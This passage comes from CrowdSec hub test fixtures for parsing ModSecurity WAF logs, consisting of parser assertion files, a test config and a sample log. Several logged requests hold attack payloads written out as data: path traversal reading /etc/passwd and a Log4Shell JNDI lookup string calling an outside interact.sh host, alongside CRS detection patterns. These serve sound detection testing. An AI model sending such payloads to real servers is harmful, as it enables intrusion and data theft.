results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["modsecmessage"] == "Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' )" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag2"] == "platform-unix" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["tid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag3"] == "attack-rce" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["maturity"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["modsecseverity"] == "Warning" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruleline"] == "488" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["rulemessage"] == "Remote Command Execution: Unix Shell Code Found" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["modsec_message"] == "Remote Command Execution: Unix Shell Code Found" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["modsec_ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["rule_id"] == "932160" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["tid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["pid"] == "86596" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 20)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruletag2"] == "platform-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["target_fqdn"] == "foobar.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["modsecseverity"] == "Warning" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruleline"] == "79" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruletag3"] == "attack-generic" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruleid"] == "949110" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruleseverity"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruletag1"] == "language-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["uniqueid"] == "163722446755.059797" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["accuracy"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["cid"] == "1083" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["remote_addr"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["loglevel"] == "info" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["maturity"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["time"] == "2021/11/18 08:34:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' )" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["targethost"] == "10.0.1.61" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["targeturi"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"79\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 20)\"] [data \"\"] [severity \"2\"] [ver \"\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruletag0"] == "application-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["modsec_message"] == "Inbound Anomaly Score Exceeded (Total Score: 20)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["rule_id"] == "949110" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "82.64.145.141" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruleid"] == "949110" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruletag1"] == "language-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["target_fqdn"] == "42.42.42.42" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["version"] == "OWASP_CRS/3.x.x" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "2021/12/26 12:36:51 [error] 972#972: *18722 [client 161.97.102.240] ModSecurity: Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' ) [file \"/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"80\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 370)\"] [data \"\"] [severity \"2\"] [ver \"OWASP_CRS/3.x.x\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"192.168.0.1\"] [uri \"/\"] [unique_id \"1640518611\"] [ref \"\"], client: 161.97.102.240, server: 42.42.42.42, request: \"GET /?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a} HTTP/1.1\", host: \"hostname.domain:443\", referrer: \"${jndi:ldap://${hostName}.referer.c72643ci97rd1ek9i7u0c8rf8iejf6fms.interact.sh}\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["targeturi"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["tid"] == "972" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["uniqueid"] == "1640518611" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["loglevel"] == "error" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["remote_addr"] == "161.97.102.240" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["rulefile"] == "/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruleline"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruletag0"] == "application-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["time"] == "2021/12/26 12:36:51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruletag2"] == "platform-multi" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["pid"] == "972" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["modsecmessage"] == "Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' )" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["maturity"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruleseverity"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["accuracy"] == "0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["request"] == "/?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 370)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruletag3"] == "attack-generic" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["targethost"] == "192.168.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["cid"] == "18722" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "modsecurity" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["modsec_message"] == "Inbound Anomaly Score Exceeded (Total Score: 370)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["rule_id"] == "949110" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "161.97.102.240" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2021-12-26T12:36:51Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2021-12-26T12:36:51Z"hub1/.tests/modsecurity-logs-nginx/scenario.assert000066400000000000000000000000001437532772500226220ustar00rootroot00000000000000hub1/.tests/modsecurity-logs/000077500000000000000000000000001437532772500164655ustar00rootroot00000000000000hub1/.tests/modsecurity-logs/config.yaml000066400000000000000000000003521437532772500206160ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/modsecurity.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: modsecurity-logs.log log_type: modsecurity ignore_parsers: false hub1/.tests/modsecurity-logs/modsecurity-logs.log000066400000000000000000000161061437532772500225050ustar00rootroot00000000000000[Thu Sep 30 13:27:06.009964 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /?a=../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010022 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "47"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010056 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?a=../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010075 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?a=../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010092 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010106 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "71"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010136 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "97"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010193 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:a. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "500"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:a: ../../../../../etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010524 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 40)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] [Thu Sep 30 13:27:06.010641 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 40 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 40, 0, 0, 0"] [ver "OWASP_CRS/3.3.0"] [tag "event-correlation"] [hostname "localhost"] [uri "/"] [unique_id "YVW7KjiKxXlACWj0fjsbkgAAAEk"] hub1/.tests/modsecurity-logs/parser.assert000066400000000000000000001101441437532772500212050ustar00rootroot00000000000000len(results) == 4 len(results["s01-parse"]["crowdsecurity/modsecurity"]) == 10 results["s01-parse"]["crowdsecurity/modsecurity"][0].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.009964 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match \"(?i)(?:\\\\\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...\" at REQUEST_URI_RAW. [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"47\"] [id \"930100\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI_RAW: /?a=../../../../../etc/passwd\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/3.3.0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"paranoia-level/1\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/255/153/126\"] [hostname \"localhost\"] [uri \"/\"] [unique_id \"YVW7KjiKxXlACWj0fjsbkgAAAEk\"]" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleline"] == "47" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag4"] == "paranoia-level/1" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["modsecseverity"] == "Warning" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["targeturi"] == "/" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["modsecmessage"] == "Pattern match \"(?i)(?:\\\\\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...\" at REQUEST_URI_RAW." results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruledata"] == "Matched Data: /../ found within REQUEST_URI_RAW: /?a=../../../../../etc/passwd" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag5"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["source_port"] == "37752" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.009964 2021" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleid"] == "930100" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruleseverity"] == "CRITICAL" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["ruletag6"] == "capec/1000/255/153/126" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["datasource_path"] == "modsecurity-logs.log" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["log_type"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["rule_id"] == "930100" results["s01-parse"]["crowdsecurity/modsecurity"][0].Evt.Meta["source_ip"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][1].Success == true results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["rulemessage"] == "Path Traversal Attack (/../)" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruletag0"] == "application-multi" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruletag3"] == "attack-lfi" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["timestamp"] == "Thu Sep 30 13:27:06.010022 2021" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["program"] == "modsecurity" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleid"] == "930100" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruleline"] == "47" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruletag1"] == "language-multi" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruletag5"] == "OWASP_CRS" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["uniqueid"] == "YVW7KjiKxXlACWj0fjsbkgAAAEk" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["modsecmessage"] == "Pattern match \"(?i)(?:\\\\\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...\" at ARGS:a." results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruletag2"] == "platform-multi" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["sourcehost"] == "::1" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["ruletag6"] == "capec/1000/255/153/126" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["targethost"] == "localhost" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["apacheseverity"] == ":error" results["s01-parse"]["crowdsecurity/modsecurity"][1].Evt.Parsed["message"] == "[Thu Sep 30 13:27:06.010022 2021] [:error] [pid 2560:tid 140496349419264] [client ::1:37752] [client ::1] ModSecurity: Warning. Pattern match 